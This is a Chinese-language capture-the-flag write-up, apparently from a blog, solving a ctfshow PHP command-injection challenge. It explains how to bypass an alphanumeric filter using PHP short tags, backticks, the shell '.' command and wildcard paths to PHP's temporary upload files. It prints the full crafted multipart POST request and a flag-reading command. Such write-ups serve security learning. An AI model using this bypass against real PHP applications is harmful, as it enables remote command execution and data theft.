从今天开始记录刷题日常
打开靶场平平无奇,看源代码发现如下
提示get方式提交cmd参数,猜测是命令执行漏洞,先写个phpinfo();试试。
有用,但报错cerror
查看显示出来部分php代码,过滤了很多东西
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd))
第一个正则表达式把字母数字几乎全过滤了,只剩了个p(有伏笔!单独留个p肯定有用)
接着往下看
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)
过滤了乱七八糟一大堆符号。不过还剩得有一些(剩下的这些肯定也有用),如下
< > ? + = . ; ` /
看到这里,想常规绕过什么的,肯定没戏了。我直接放弃,肯定是我不会的姿势/(ㄒoㄒ)/~~,
去看了大佬的wp,学成归来!!
试着分析剩下符号各自的用处
< > 这两个符号不必多说,通常就用来作大于、等于、不等于或者是占位符啥的。但既然是php的命令执行漏洞,这俩应该是<?php ?>这样用的。
但是h被过滤了啊,不就写不成常规写法了吗?
事实上 <?= 等价 <?php echo
这是php的短标记语法,相似的语句还有很多,大家自行查阅,在有些时候用这种语法绕过能有意想不到的惊喜
反引号 ` 可以用来当作命令执行,例如`ls`和system('ls')的效果是差不多的,我们可以利用这一点
.
或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
那么我们就可以利用上述两个符号读取文件,例如`. $filename`
加号 + 不必多说,通常用来当空格。
对于php本身而言,是可以进行文件上传的。
我们可以发送一个上传文件的post包,此时php会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpxxxxxx,文件名最后6个字符是随机的大小写字母。如/tmp/phphhhhhh
在这道题的话,我们可以用?代替这些字母,结果形如/??p/p?p??????
这样一来我们就可以通过上传带有payload的代码的文件并执行。
但是值得一提的是,通常这些临时文件夹下的文件最后是会被删除的,所以我们不得不想办法在被删除之前执行我们上传的文件。最好的办法就是上传的时候同时执行。
结合上述所说,我们就可以往cmd参数里写一段代码执行上传的文件,<?=`.+/??p/p?p????`;
(加不加后面的?>其实无所谓,都可以)
我们获取靶场数据包,将GET方式改为POST并且在请求头随便某处加入以下内容
Content-Type: multipart/form-data; boundary=hello1234567890
Content-Type: multipart/form-data;表示文件上传
boundary=hello1234567890表示定界符,boundary的内容你自己定
之后写入要上传的文件的内容。
比如说
这是我的修改后的数据包
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 2ffee509-b1e0-468f-aab8-0dfc2fe37b63.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Content-Type: multipart/form-data; boundary=hello1234567890//这里是关键
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Length: 159
--hello1234567890
Content-Disposition: form-data; name="f"; filename="7.txt"
Content-Type: text/plain
#!/bin/sh
ls
--hello1234567890--
ps:其中的第一个边界前要加 -- ,第二个前后都要加 --
--hello1234567890
Content-Disposition: form-data; name="f"; filename="7.txt"
Content-Type: text/plain
#!/bin/sh
ls
--hello1234567890--
Content-Disposition: form-data; name="f"; filename="7.txt"
Content-Type: text/plain
这两行必须要有,名字你可以自己随便定
至于 #!/bin/sh 表示在写上 #!/bin/sh
时,系统在执行这个脚本时会使用 /bin/sh
解释器来解释和执行脚本中的命令。(但我亲测去掉也没问题)
于是乎
直接cat ../../../flag.txt获得flag
参考文章链接:
https://blog.csdn.net/2202_75812594/article/details/138083496
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
还有一种解法,参考这篇文章:
https://fishpi.cn/article/1637551394102
标签:文件,web,--,题解,cmd,Content,ctfshow,php,上传 From: https://blog.csdn.net/2302_76724233/article/details/141941439